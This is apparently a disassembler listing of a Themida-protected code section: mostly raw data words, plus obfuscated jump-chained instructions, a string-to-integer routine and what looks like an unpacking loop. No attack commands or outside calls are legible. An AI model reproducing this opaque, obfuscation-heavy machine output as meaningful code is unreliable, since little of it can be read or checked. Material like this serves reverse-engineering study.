		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5483C357h
		dd 10890FFFh, 0E9000000h, 0Bh, 6CE41A44h, 0BF739741h, 0FFD6E7A5h
		dd 0A90155B5h, 0DDBD8906h, 8D06A900h, 0A93C2685h, 259D0306h
		dd 0FF06A926h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 87C41763h, 10E971A2h
		dd 0C1000000h, 0DF687BD5h, 155A86B4h, 99CCFECCh, 0FE40471h
		dd 6AD8B7h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 16h,	6EC35646h, 0C380B244h, 12E9DBh,	0D4D70000h, 0C7902C4Dh
		dd 424814C7h, 80E3DEC1h, 0D633271Eh, 6AFF6Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6615C3h
		dd 6AD0FFDAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 319C351h, 0FFEF2C12h, 0A91761B5h
		dd 4195FF06h, 106A920h,	0A91A199Dh, 67F28106h, 8B6E3993h
		dd 0A94D5AB5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 1C77B88Ch, 0CE960E4h
		dd 7A000000h, 27E02590h, 38E79715h, 8BE33156h, 66C361C3h
		dd 8B30F2BAh, 0A91111B5h, 3D958906h, 0B06A929h,	29840FF6h
		dd 57000000h, 14E9h, 5F690700h,	3ED0DCF1h, 44BC02A2h, 87A78BD8h
		dd 0BAC08EAFh, 6C65BAAh, 6E900h, 0CC360000h, 0CA311FD1h
		dd 4D628589h, 0BD8906A9h, 6A909E5h, 0F00F883h, 30284h
		dd 0DABF0F00h, 0B8h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0ADF84167h, 6ED2376Dh
		dd 9D2B5E82h, 6A928CDh,	0F00F883h, 0D184h, 0C6DE8000h
		dd 0F02F883h, 6185h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 9501B2A3h, 6A932E5h, 4E59501h
		dd 858D06A9h, 6A943DDh,	3299523h, 292D06A9h, 0F000009h
		dd 185h, 0BD01F500h, 6A91435h, 3840F50h, 66000000h, 489D98Bh
		dd 0D19D8924h, 0C306A900h, 21A5B589h, 0B806A9h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0CAB0C351h, 0E9F98AE4h, 22Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 84C35242h, 6611E7F6h
		dd 0E960D38Bh, 0Dh, 0CB7F4807h,	0E21451B5h, 4F2183D7h
		dd 0FA8B565Fh, 1B86159h, 89000000h, 0A9209DBDh,	0E2BD8D06h
		dd 8B06A943h, 0A9257D95h, 0CAE906h, 81660000h, 8148AED2h
		dd 0AB22A9D3h, 2F8834Fh, 14850Fh, 56BA0000h, 8D265E82h
		dd 0A945DABDh, 6FE68006h, 0A3E9h, 0F883FC00h, 61850F03h
		dd 0E9000000h, 0Fh, 57B59998h, 0E56F4C1Eh, 0A6108E7Fh
		dd 8DD3797Ah, 0A9476EBDh, 14E906h, 2CF10000h, 27793654h
		dd 9C52DBE4h, 0BC9634E0h, 9D67C918h, 62B68CEBh,	5FE9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 73E3BFC1h, 99958B52h, 5B06A90Fh,	0F05F883h
		dd 2F85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8D0F2693h, 1, 77E9F9h, 0BD890000h
		dd 6A915CDh, 55006A57h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 81AAA0CAh, 33C9BA4Eh, 12B95BB1h
		dd 0F727D7Dh, 3F83D6BFh, 3A840F00h, 8B000000h, 0A90D8995h
		dd 600F3006h, 0AE9h, 752DBA00h,	10F14B1Ah, 61AADC63h, 958BC9D1h
		dd 6A9221Dh, 0E9DF8B47h, 0FFFFFFCEh, 58A0F60h, 66000000h
		dd 5D4FC381h, 0FD82B866h, 5F88361h, 95850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 9C82F4C3h, 2E43030h,	89D98C66h, 0A901758Dh, 9BD8906h
		dd 0F606A912h, 850F04C1h, 4Ch, 0B8D88B66h, 0
		dd 34F99D8Bh, 48E906A9h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FDD3C351h
		dd 0DE8C5h, 1E1F0000h, 372B4B04h, 176883D0h, 8B0694B3h
		dd 0A924E59Dh, 30B35A06h, 551858Bh, 852906A9h, 6A91D39h
		dd 83F9E0FFh, 0A92041BDh, 850F0006h, 156h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 3BC35343h, 53A66BA5h
		dd 9A70F510h, 2860Fh, 0D08B0000h, 0E8525090h, 10h, 0BA4C5BA5h
		dd 0CA17B91Eh, 5FD0C351h, 0C6D59A9Eh, 0BE9h, 0EE38CF00h
		dd 694F5B9Eh, 4BCC70D7h, 0E8310F5Ah, 8,	5724DD07h, 0C54C5C37h
		dd 5ADE8B66h, 5050585Ah, 6E952h, 1EEC0000h, 0D6ED1B7Bh
		dd 5FB7310Fh, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 6CF1C357h, 958B0EBCh
		dd 6A934F5h, 16B185C6h,	894506A9h, 0A935BDBDh, 299B6806h
		dd 38BADE72h, 81459B5Eh, 40F22434h, 6A5000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BA665FC3h
		dd 0FFF9E6C2h, 0A90155B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8192D3A9h
		dd 3B7771C2h, 3585010Eh, 8D06A920h, 0A93C2685h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0DC3BC8Fh, 952B4298h, 6A90DB9h, 0BB66D0FFh, 85895757h
		dd 6A92041h, 5849DA80h,	14899D8Bh, 0BD8306A9h, 6A94DB1h
		dd 40840F00h, 66000000h, 0FF9D6BBBh, 0A91761B5h, 0FF0BB206h
		dd 0A9204195h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 2677229Ah, 1D065F1h, 958BCFEAh
		dd 6A91DA5h, 8311E780h,	850F00F8h, 11Fh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 0F6C35646h, 0E0963092h
		dd 69BD83AEh, 6A92Dh, 8C840Fh, 0BD890000h, 6A922F9h, 2D69B5FFh
		dd 6A06A9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E41A44C3h, 7397416Ch, 0DEDA8166h, 0D88B664Ch
		dd 1B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0F77B6ADAh, 7357BBD6h, 0DE96F5Ah
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 633CC350h, 6A1DF768h, 80DE9184h
		dd 0B5FF84F7h, 6A91761h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 3DC35242h, 1AA202Ch, 61B5FF3Ch, 6006A917h
		dd 6052DB80h, 0BA66F08Bh, 616190FEh, 0FD9917BBh, 41B5FF16h
		dd 0E906A920h, 13h, 10C829CEh, 0DE857B90h, 0BBD72ADFh
		dd 33B8D88Bh, 0E9F49E71h, 184h,	5FDEB70Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E2C35343h, 0BD83D56Bh
		dd 6A92105h, 0AB850F00h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 85D9C351h
		dd 4AEADA84h, 4E443A78h, 1EB8153h, 5B75886Eh, 16B185C6h
		dd 894D06A9h, 0A923CD9Dh, 68C7B206h, 0FA63CB94h, 0BE9h
		dd 3FA6FF00h, 4696EE60h, 506A61BDh, 3C243481h, 6A5E56BDh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0AE8C355h, 0C0AFB946h, 0C3EC74D5h, 0CFDB529h
		dd 0B5FF06A9h, 6A92721h, 1859D8Bh, 858D06A9h, 6A93C26h
		dd 5CA2D6BAh, 89D0FF3Fh, 0A9052DBDh, 5858906h, 6606A921h
		dd 0B8DA8Bh, 0F5000000h, 4D5ABD89h, 9D8906A9h, 6A93571h
		dd 0AE9h, 0D1E1D000h, 0C1F835DAh, 0BB08134h, 30840FC0h
		dd 66000000h, 79E9DE8Bh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4258C351h
		dd 0E5063731h, 0B18D8910h, 0FF06A931h, 0A92041B5h, 8B665706h
		dd 858D5AD1h, 6ABA6B1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0E3C35646h, 97B14B8h,	0BD899DEEh, 6A91269h
		dd 505750F8h, 0FD68B52h, 5AAEB631h, 4895A58h, 81665324h
		dd 5B4D6ECAh, 0BD8D5650h, 6A95589h, 79E48D8Dh, 0BCB806A9h
		dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h,	0A92D69BDh
		dd 6740006h, 4858D8Bh, 0C93306A9h, 0B8h, 0FC00B00h, 0A884h
		dd 0A9BD8300h, 6A92Eh, 95FF0674h, 6A92E95h, 0B8h, 75C00B00h
		dd 62BD8309h, 106A94Dh,	0BD830974h, 6A94D62h, 8B0E7502h
		dd 0A94D5AB5h, 0B1858D06h, 0FF06ABA6h, 1DBD83D0h, 6A90Fh
		dd 95FF0674h, 6A912E9h,	4365858Dh, 0D0FF06A9h, 139BD83h
		dd 750206A9h, 0D5A58B2Fh, 8B06A91Ch, 0A92D6985h, 24048906h
		dd 32A185C7h, 106A9h, 0B58B0000h, 6A94D5Eh, 1DB5AD8Bh
		dd 1B806A9h, 0C2000000h, 0EB000Ch, 32A185C7h, 106A9h, 0A58B0000h
		dd 6A91CD5h, 32F1B58Bh,	0AD8B06A9h, 6A91DB5h, 0CC2C033h
		dd 1DBD8300h, 6A90Fh, 0BD830F74h, 6A912E9h, 0FF067400h
		dd 0A912E995h, 5AB58B06h, 0C306A94Dh, 0F21952Bh, 958B06A9h
		dd 6A92729h
		db 2Bh,	0D2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54F3B6
; ---------------------------------------------------------------------------


loc_54F3B4:				; CODE XREF: Themida_:0054F3B9j
		inc	eax
		inc	edi


loc_54F3B6:				; CODE XREF: Themida_:0054F3B2j
		cmp	byte ptr [edi],	0
		jnz	short loc_54F3B4
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54F3E5
; ---------------------------------------------------------------------------


loc_54F3C2:				; CODE XREF: Themida_:0054F3E7j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54F3DA
; ---------------------------------------------------------------------------


loc_54F3D7:				; CODE XREF: Themida_:0054F3DDj
		mul	ebx
		dec	esi


loc_54F3DA:				; CODE XREF: Themida_:0054F3D5j
		cmp	esi, 0
		ja	short loc_54F3D7
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_54F3E5:				; CODE XREF: Themida_:0054F3C0j
		or	eax, eax
		jnz	short loc_54F3C2
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 89h
		dd 0A926F585h, 5E906h, 0A4D40000h, 8BBBD0DFh, 1ADE9C1h
		dd 8B600000h, 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h
		dd 2BBh, 0FD20200h, 585h, 46168A00h, 830FD212h,	0FFFFFFE2h
		dd 850FD202h, 5, 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h
		dd 585h, 46168A00h, 830FD212h, 12Ah, 850FD202h,	5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 0C013D212h, 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h
		dd 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh
		dd 1BBC32Bh, 0F000000h,	3485h, 1B900h, 0D2020000h, 5850Fh
		dd 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h, 820FD212h
		dd 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh
		dd 46068A08h, 1B9E88Bh,	2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 7D003DFFh, 830F0000h, 22h, 5003Dh, 0E820F00h
		dd 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h,	7FF883FFh
		dd 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh
		dd 68AFFFFh, 0C0C93346h, 840F01E8h, 17h, 8B02D183h, 0F78B56E8h
		dd 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh, 8928247Ch
		dd 611C247Ch, 0BA0008C2h, 929h,	22000E9h, 0
		dd 12FF6C00h, 5B003F00h, 5B002802h, 5C581802h, 5C3D7300h
		dd 5C581800h, 20200h, 200h, 100h, 400h,	0AB78C500h, 0F9h
		dd 4 dup(0)
		dd 55531D00h, 557BF300h, 55B0F700h, 55412D00h, 55B10500h
		dd 55A5DF00h, 5599B300h, 5587F900h, 55908200h, 5529DA00h
		dd 557A2600h, 554D9B00h, 55649100h, 557B0500h, 55837F00h
		dd 5589C200h, 55976400h, 55AFD000h, 55562900h, 556F5A00h
		dd 556ADF00h, 55955100h, 5541D900h, 55B84200h, 558EAF00h
		dd 557A7700h, 55A53A00h, 55550900h, 55BC6A00h, 556B6100h
		dd 5556C700h, 5589DD00h, 558E4900h, 550F7600h, 55572C00h
		dd 556F2600h, 550E2200h, 55AA6B00h, 5535ED00h, 552E5E00h
		dd 5513BD00h, 555D0100h, 54F90300h, 55651A00h, 55562F00h
		dd 558FC900h, 55178000h, 55B13200h, 55972400h, 55AE6D00h
		dd 55A17F00h, 55414700h, 55657000h, 557DCC00h, 555CC300h
		dd 55BC5600h, 55813F00h, 553F8B00h, 55B63F00h, 5531F500h
		dd 55BCBE00h, 55668600h, 5565C800h, 55B64700h, 5572E800h
		dd 550D5000h, 55450600h, 54FF7F00h, 55B34600h, 55B47300h
		dd 55AB0500h, 55378100h, 54F91000h, 55897D00h, 5500B800h
		dd 55BCCB00h, 55B3B200h, 5548D200h, 55665900h, 54FFA000h
		dd 55B29400h, 5571C400h, 556C6900h, 54FF9400h, 55A01900h
		dd 55AFDE00h, 552FA000h, 551BFF00h, 55138800h, 556EAE00h
		dd 5594A800h, 557F2C00h, 55570500h, 55A33A00h, 55A4D500h
		dd 553C1600h, 55B35F00h, 5576D000h, 552E2A00h, 552B5000h
		dd 55711E00h, 559F7400h, 551C1600h, 55AC1200h, 55649800h
		dd 55A66900h, 554B3300h, 55913100h, 553F3500h, 55A10E00h
		dd 5535E400h, 55159900h, 55A4B500h, 55BE2C00h, 55A39F00h
		dd 550D0400h, 5530A500h, 55BE4B00h, 55347D00h, 55471800h
		dd 551F4E00h, 553F2900h, 5547C700h, 55BCDB00h, 550D7C00h
		dd 55810100h, 555B3300h, 554F5600h, 55AB5200h, 55016400h
		dd 552A4900h, 55B62100h, 550B4000h, 553D5200h, 553D9B00h
		dd 55565800h, 55500B00h, 551EC800h, 556AEE00h, 5583E500h
		dd 552C2300h, 54FEEF00h, 559ECA00h, 553E3C00h, 5558F300h
		dd 55B06C00h, 550F4D00h, 55446600h, 55A8F200h, 550C2E00h
		dd 556D5000h, 552A1A00h, 551BBB00h, 55319100h, 55968800h
		dd 5531E000h, 5545ED00h, 55737200h, 55A71100h, 55265600h
		dd 552E8800h, 5536AA00h, 55275800h, 55664200h, 55B61900h
		dd 5529F000h, 55157100h
		db 0
; ---------------------------------------------------------------------------


loc_54F8A1:				; CODE XREF: Themida_:0057C010j
					; Themida_:0057C595j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6A97FE4h
		mov	eax, edi
		add	edi, 6A97CFCh
		cmp	eax, [edi+2Ch]
		jnz	short loc_54F8BF
		jmp	short loc_54F8D2
; ---------------------------------------------------------------------------


loc_54F8BF:				; CODE XREF: Themida_:0054F8BBj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54F8CE
; ---------------------------------------------------------------------------


loc_54F8C9:				; CODE XREF: Themida_:0054F8D0j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54F8CE:				; CODE XREF: Themida_:0054F8C7j
		or	ecx, ecx
		jnz	short loc_54F8C9


loc_54F8D2:				; CODE XREF: Themida_:0054F8BDj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54F8DF:				; CODE XREF: Themida_:0054F8E6j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54F8DF


loc_54F8E8:				; CODE XREF: Themida_:0054FB43j
					; Themida_:00550840j ...
		lodsb
		jmp	loc_557160
; ---------------------------------------------------------------------------


loc_54F8EE:				; CODE XREF: Themida_:0055A109j
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5516FB
; ---------------------------------------------------------------------------


loc_54F8FA:				; CODE XREF: Themida_:00553ACDj
		pop	ebx
		xor	eax, ecx
		pop	ecx
		jmp	loc_55138F
; ---------------------------------------------------------------------------
		db 0ACh
		dd 80B3B353h, 0E951FFC3h, 44EFh, 24048B66h, 788A68h, 452AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F91E:				; CODE XREF: Themida_:00556191j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_555148
; ---------------------------------------------------------------------------


loc_54F92F:				; CODE XREF: Themida_:00554C6Bj
		shr	ecx, 7
		jmp	loc_55048E
; ---------------------------------------------------------------------------
		db 81h
		dd 62B93BF1h, 0D6B850EDh, 0E9637156h, 77ABh, 0BD242C89h
		dd 4B024216h, 0CD81D5F7h, 5C960A7Bh, 8C581h, 0BF573E1Eh
		dd 57D770B6h, 0D99F781h, 814713E1h, 0BE5F37EFh,	0AEEF8165h
		dd 0E9A798CAh, 4250h
; ---------------------------------------------------------------------------


loc_54F97C:				; CODE XREF: Themida_:00558D53j
		mov	ecx, 2609602Dh
		shl	ecx, 6
		xor	ecx, 33592DC5h
		sub	ecx, 7A9B7A49h
		add	ecx, 0FDD5C3A9h
		or	eax, ecx
		pop	ecx
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		xor	eax, 7D395E0Eh
		sub	eax, 33D63256h
		sub	eax, 68FB9167h
		jmp	loc_554298
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 0D5h
		dd 0E9DDF75Ah, 1886h, 83685A54h, 89000006h, 57E9241Ch
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F9CB:				; CODE XREF: Themida_:0055AD4Dj
		push	79BA0C5Ah
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_557A09
; ---------------------------------------------------------------------------
		db 0E9h, 6, 0FFh
		dd 0D1F7FFFFh, 0C03BE950h, 2C8B0000h, 4C48124h,	56000000h
		dd 6AB0E953h, 57550000h, 6576E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FA01:				; CODE XREF: Themida_:00558D2Fj
		push	esi
		push	7A6B7DBBh
		pop	esi
		add	esi, 6B11324Ch
		sub	esi, 0D254728Dh
		mov	ebx, esi
		pop	esi
		push	eax
		push	0
		pop	eax
		jmp	loc_558E10
; ---------------------------------------------------------------------------
		db 3Bh
		dd 7FE99CC8h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54FA2B:				; CODE XREF: Themida_:005524E7j
		add	esp, 4
		push	7B38h
		mov	[esp], esi
		jmp	loc_5534C8
; ---------------------------------------------------------------------------


loc_54FA3B:				; CODE XREF: Themida_:00552347j
		add	dl, 0FAh
		jmp	loc_550CBD
; ---------------------------------------------------------------------------
		db 29h
		dd 0FAE92434h, 0FF00002Ch, 5B042474h, 8B24048Fh, 39E92424h
		dd 890000BBh, 4C781E7h,	81000000h, 4EFh, 243C8700h, 2414895Ch
		dd 0C524E9h, 4B85000h, 0E9000000h, 30E7h
; ---------------------------------------------------------------------------


loc_54FA80:				; CODE XREF: Themida_:00555EFDj
		add	bl, cl
		sub	bl, 0F2h
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 58F12970h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 59353E44h
		jmp	loc_551182
; ---------------------------------------------------------------------------


loc_54FAB3:				; CODE XREF: Themida_:005588A8j
		push	edx
		jmp	loc_54FDFD
; ---------------------------------------------------------------------------
		db 31h,	44h, 24h
		dd 34FF5804h, 24048B24h, 4C481h, 89560000h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 703AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FAE2:				; CODE XREF: Themida_:0055B284j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_554B5F
; ---------------------------------------------------------------------------


loc_54FAFD:				; CODE XREF: Themida_:00558264j
		push	ecx
		mov	ecx, 27EF0247h
		add	ecx, 6C76D250h
		add	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_55B25F
; ---------------------------------------------------------------------------


loc_54FB13:				; CODE XREF: Themida_:005536C0j
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55928F
; ---------------------------------------------------------------------------


loc_54FB24:				; CODE XREF: Themida_:00550A00j
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_556D29
; ---------------------------------------------------------------------------
aAuYszb		db '',9,'YzB',0
		align 2


loc_54FB3A:				; CODE XREF: Themida_:0055BE82j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------


loc_54FB48:				; CODE XREF: Themida_:00557769j
		neg	ebp
		push	edx
		mov	edx, 22374871h
		dec	edx
		inc	edx
		xor	edx, 0D16FDC67h
		sub	ebp, edx
		jmp	loc_558BCB
; ---------------------------------------------------------------------------
		db 80h
		dd 0C380D5EBh, 3DEEE9FAh, 24890000h, 5F46E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FB72:				; CODE XREF: Themida_:00557941j
		mov	[esp], esi
		push	edx
		mov	edx, 28F91C32h
		jmp	loc_55AAA6
; ---------------------------------------------------------------------------
		dd 4C481h, 0C8010000h, 42D16859h, 3C890000h, 0C6BD5524h
		dd 512A827Bh, 5E96E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FB9D:				; CODE XREF: Themida_:00550494j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55AA54
; ---------------------------------------------------------------------------
		db 1
		dd 81042454h, 0F304246Ch, 5A475729h, 5E78685Eh,	4890000h
		dd 5E08924h, 4,	19B8E9h, 240C8B00h, 8745E9h, 28112D00h
		dd 0C6816F90h, 79EE271Ch, 0EE81C601h, 79EE271Ch, 582434FFh
		dd 4C481h, 0C6830000h, 274AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FC02:				; CODE XREF: Themida_:00556B10j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_557A38
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55B734
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 1E6E4F7Bh, 3F1FF381h, 0DA211AF0h, 7EAC15Bh
		dd 0BE56h, 0C6810000h, 4BEA18D7h, 2F41E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FC61:				; CODE XREF: Themida_:00554221j
		mov	[esp], edx
		push	esi
		mov	esi, ebx
		push	2AEBh
		mov	[esp], esi
		push	dword ptr [esp]
		pop	edx
		push	2E9h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5512FE
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0A775309h, 2414875Fh, 0BE7BE9h, 0A4E28100h, 0C16AFC50h
		dd 0F28108E2h, 23946F19h, 72E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FCA5:				; CODE XREF: Themida_:0055B9DFj
		sub	esi, 58A35470h
		pop	edx
		and	eax, esi
		pop	esi
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_555331
; ---------------------------------------------------------------------------
aZ4SA		db ']4$\͝',0
		dw 8300h
		dd 5A042404h, 46855h, 2C8B0000h, 4C48324h, 2ABAC281h, 0EA0104CEh
		dd 2ABAEA81h, 0E0E904CEh, 5800003Ch, 0F7B9514Bh, 8113864Dh
		dd 936ABDE9h, 59CB01F1h, 1C8BD929h, 4C48324h, 4EC81h, 1C890000h
		dd 57E38924h, 954860BFh, 0D7CF8158h, 8155293Fh,	5D6288F7h
		dd 0DDBB5314h, 15C4E03h, 66E95BDFh, 2C000057h, 4190434h
		dd 0B6526655h, 0E9F028ACh, 3DFh, 4C281h, 0BF570000h, 2
		dd 525FFA01h, 42474FFh,	5A2434FFh, 781C68h, 240C8900h
		dd 0C181E189h, 4, 8704C183h, 8F5C240Ch,	248B2404h, 0C8B6624h
		dd 8B545324h, 8957241Ch, 4B951E7h, 81000000h, 463D60C7h
		dd 0E9CF0143h, 191Bh, 4EC81h, 1C890000h, 0F6BBB324h, 81EB80DBh
		dd 1EE8E950h, 0C9680000h, 5F56D859h, 59C5EF81h,	0FD8956D8h
		dd 3984E9h, 654EBB00h, 0E94B6A92h, 177Ch, 0C1895852h, 1302E9h
		dd 4C48300h, 0EC81C328h, 4, 0E9240489h,	9817h
; ---------------------------------------------------------------------------


loc_54FDE0:				; CODE XREF: Themida_:0055B3DEj
		not	ebp
		jmp	loc_5551DB
; ---------------------------------------------------------------------------
		db 81h
		dd 7C0183EEh, 5EF0016Dh, 459068h, 24148900h, 0C1A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FDFD:				; CODE XREF: Themida_:0054FAB4j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55774A
; ---------------------------------------------------------------------------
		db 81h
		dd 2C7h, 74FF5700h, 0E95F0424h,	10F8h, 0E9D8295Bh, 703Ah
		dd 0FF241489h, 8B042474h, 0EC832414h, 243C8904h, 0C781E789h
		dd 4, 3304C783h, 3C31243Ch, 243C3324h, 0B571E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FE55:				; CODE XREF: Themida_:00558462j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 12h
		jmp	loc_5507E1
; ---------------------------------------------------------------------------
aXv		db ')XV',0
		db 77h
		dd 0E6C13EC7h, 57BF5708h, 16AEF68h, 243C8BFEh, 3F95E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FE81:				; CODE XREF: Themida_:00555E1Cj
		mov	edi, 0E778C362h
		add	edi, esi
		pop	esi
		add	[eax], edi
		pop	edi
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_54FE94:				; CODE XREF: Themida_:00552EBCj
		push	ebx
		jmp	loc_552047
; ---------------------------------------------------------------------------
aSSc		db 'S= ',0
		align 2


loc_54FEA2:				; CODE XREF: Themida_:0055B749j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_554C58
; ---------------------------------------------------------------------------
		dd 0FE4BB753h, 7EFC0CFh, 0F780DFF6h, 0E9FE88C7h, 4472h
		dd 152AADBAh, 5AD10110h, 52E9F901h, 8700009Bh, 665C2414h
		dd 45E9C331h, 0FF0000B0h, 0E9582434h, 0
aUspw		db 'Uw',0
		align 2
		dw 0E95Eh
		dd 0AE19h
; ---------------------------------------------------------------------------


loc_54FF04:				; CODE XREF: Themida_:0054FFD5j
		mov	edx, [esp]
		jmp	loc_55B0CC
; ---------------------------------------------------------------------------
		dd 9C240CFEh, 6209E9h
		db 0
